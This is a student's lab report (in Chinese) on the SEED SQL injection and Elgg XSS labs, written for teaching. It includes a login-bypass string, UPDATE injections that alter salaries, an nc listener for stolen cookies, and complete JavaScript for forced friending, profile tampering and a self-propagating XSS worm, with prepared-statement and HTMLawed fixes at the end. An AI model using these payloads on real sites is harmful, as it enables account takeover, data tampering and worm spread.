20211916 2021-2022-2 《网络攻防实践》第十次作业
1.实践内容
1.1 前置知识
一. SQL注入原理
在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞.
在上图中可以看到,攻击者在提交请求时将SQL语句插入到请求内容中,程序本身对用户输入内容未经处理,同时而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。
二. 注入类型
在SQL注入漏洞中,注入类型分为三种:数字型、字符型、搜索型。
1、数字型
在 Web 端中经常能看到是例如http://xxx.com/news.php?id=1
这种形式,其注入点 id 类型为数字,所以叫数字型注入点。
这一类的 SQL 语句结构通常为select * from news where id=1
,如果攻击者将参数id的值改为1 or 1=1,那么程序中拼接的sql语句则为:select * from news where id=1 or 1=1
,因此参数改变了原有的SQL语句结构,导致了SQL注入漏洞攻击
2、字符型
在 Web 端中也经常能看到例如http://xxx.com/news.php?name=admin
这种形式的URL地址,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句结构通常为
select * from 表名 where name='admin'
当攻击者在参数值admin尾部加入攻击代码' or 1=1,那么拼接出来的sql注入语句为:
select * from news where chr='admin' or 1=1 '
这样SQL语句同样也会被改变,当然攻击者也不仅仅使用这么简单的攻击代码,通常还会使用一些更加复杂的攻击代码,例如
admin' union select 1,2,3,4 or '1'='1
在程序中拼接SQL语句之后,则变成了
select * from news where chr='admin' union select 1,2,3,4 or '1'='1'
这样就可以使用union结构将攻击者所感兴趣的内容返回回来
3、搜索型
很多时候我们会看到网站有个站内搜索的功能,搜索功能往往需要和数据库进行交互,因此也会存在SQL注入漏洞风险,搜索型SQL注入的特点是攻击代码中有两个% ,如下图所示:
在上图中可以看到,这个地方原本是用来搜索相关用户名的,当攻击代码为
%xxxx% or 1=1 #%'
所有的用户都在下方展示了出来。
三、SQL注入检测
在检测SQL注入漏洞时候,要明白SQL注入一定会要与数据库进行交互才会存在注入点,例如:
- URL中存在参数
- 登录、注册的地方
- 发布或更新文章
- 留言或提问的表单
- http头、cookies、referee、user agent、post都可以给服务端传递参数
1、检测注入方法
点通常有三种方式:单引号判断,数字型判断,字符型判断.
2、单引号判断
搜索型判断是指在URL地址中加入单引号'以页面返回的结果作为判断依据,例如URL地址http://xxx/abc.php?id=1我们在URL地址的参数中加入',组成新的URL地址http://xxx/abc.php?id=1'使用浏览器访问之后,如果页面出现错误提示,则说明后端没有对浏览器传递的参数进行过滤,该地址很大几率存在SQL注入漏洞
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
1.2 实践要求
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
1、查看实践环境
首先输入 su
提权,密码seedubuntu。 把主机名进行永久修改,输入:echo "new-hostname" > /etc/hostname
,new-hostname改为自己的名字。
lsb_release -a
指令查看ubuntu的操作系统
我的ubuntu版本是 16.04 ,
打开Web服务器软件,进行提权,密码seedubuntu,再使用命令 service apache2 start
在火狐游览器中打开SQL Injection Site,如红框所在位置
在terminal终端登陆MySQL数据库,使用指令mysql -uroot -p
注意密码还是seedubuntu
查看mysql中的表,使用指令
use Users;
show tables;
查看员工信息,使用指令select * from credential;
2、进行注入攻击
对SELECT语句的SQL注入攻击。上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
打开SQL Injection Site 网站,然后输入一个自定义的账号密码,我输入的tanli,密码111111
键盘按下F12
查看表单提交情况,可以看到进行校验的是unsafe_home.php
,后面是进行校验的账户和密码,即我刚刚输入的tanli。
进入terminal终端输入指令vim /var/www/SQLInjection/unsafe_home.php
来打开unsafe_home.php文件,可以看见如下源代码。
可以得到管理员账户名admin,用户信息表名为credential。
说明我们只需要在用户名输入特定的字符串,可以不进行password的校验,就可以登录成功。
在SQL Injection Site 网站输入admin '#
就可以进行登录。
登录成功!
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
UPDATE语句的内容在是unsafe_edit_backend.php
中
进入terminal终端用 vim /var/www/SQLInjection/unsafe_edit_backend.php
打开源代码
通过查看代码我们可以发现员工只能修改自己的个人信息,而无法修改工资salary,那我们就来修改员工的salary。
用上一步的管理员方式直接登陆,例如,我们登陆ALICE的账户,就直接使用使用ALICE ’#
。
登陆成功后,可以看到salary为20000。
点击图中的edit profile修改信息,CTRL加鼠标滚轮进行缩放才能看见编辑按钮。
在NickName那里输入语句', salary='1111111' where EID='10000';#
修改成功!
如果输入的是', salary='622623' where name='Boby';#
那么我们就可以在ALICE的界面修改Boby的工资,尝试一下;
登录Boby的界面发现修改成功!
3、SQL对抗:修复上述SQL注入攻击漏洞。
SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。
以下内容参考了大佬的博客:
在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。原来的语句
`$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";`
可以修改为
`$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);`
使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在。修复了这个漏洞。
用管理员方式登录发现并没有成功,说明预处理有效!
2.2 SEED XSS跨站脚本攻击实验(Elgg)
1、发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
打开火狐游览器进入xss网站
点击LOG IN,输入用户名alice、密码seedalice进行登陆,显示如下界面:
点击profile,再点击进入edit profile,如图:
进入界面如下:
在Brief description那一栏中添加<script>alert('XSS');</script>
登陆Boby(用户名boby,密码seedboby),来查看Alice的profile。
先搜索alice,如下图:
点击查看alice主页,出现XSS弹窗。
弹窗显示cookie信息:将cookie信息显示。
与第一步相同,不在赘述过程,只需要将在Brief description那一栏中的内容换一下
添加
然后登陆alice账户,查找boby,进入boby主页,即可显示如下弹窗。
3、窃取受害者的cookies:将cookie发送给攻击者。
同样的,在Brief description中输入:
输入的ip地址是我ubuntu的ip:192.168.200.9,端口号是5555。
然后在terminal终端中输入nc -l 5555 -v对5555
端口进行监测。
4、成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程
在Alice的账户中访问Boby的主页,用F12进入Network网页开发者模式,然后点击左侧的Add friend,添加Boby为好友
可以看到Add friend那一栏变成remove friend,说明添加好友成功。
请求方式为:POST
请求的三个参数为:__elgg_token=、__elgg_ts=、friend=
以下代码参考了大佬的博客:
构造脚本,把这段程序放在Alice的About me中(这里注意要是edit HTML模式),因为原来的brief限制长度。这段代码首先是获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。(45是boby)
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
如图:
这时候我们登陆boby账号再去访问Alice,发现自动添加好友了。
5、修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
与第四步相同,通过F12进入网页开发者模式,然后查看Alice修改自己的资料时会发送什么指令,这里我改的是地址。
将如下代码放入Alice的about me中,此处参考大佬代码:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>THis have been cracked by alice.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
现在,我们登录boby的账号,访问Alice的主页,然后再返回boby的主页,发现成功修改boby的信息。
6、编写XSS蠕虫。
与第四步、第五步类似,我们将代码放入Alice的about me处,再登录samy(账户:samy,密码:seedsamy)访问boby,可以看到samy也被感染了。
参考大佬的代码构建蠕虫攻击
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>THis have been cracked by alice."+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
7、对抗XSS攻击。
参考大佬们的博客:了解到:Elgg本身是提供对抗XSS攻击的插件的,故可以利用管理员账户进行登录(用户名:admin密码:seedelgg),找到Account->administration->plugins,并且找到插件HTMLawed ,该插件的主要作用:对用户的输入输出进行校验并且去除特定标签。
我们这时候去查看Alice的主页,发现XSS攻击失效了,Alice中的代码被当作about me文本显示出来了,并不会被执行,如下图。
3.学习中遇到的问题及解决
- 问题1:一开始alice感染boby没成功
- 问题1解决方案:about me 的格式一定要注意是edit HTML
4.实践总结
XSS攻击这一块有点不太熟悉,尤其对代码方面仍然很薄弱,很多代码都是参考大佬的,不过再参考的过程中自己也逐步去理解了,对我来说也是一个成长与收获。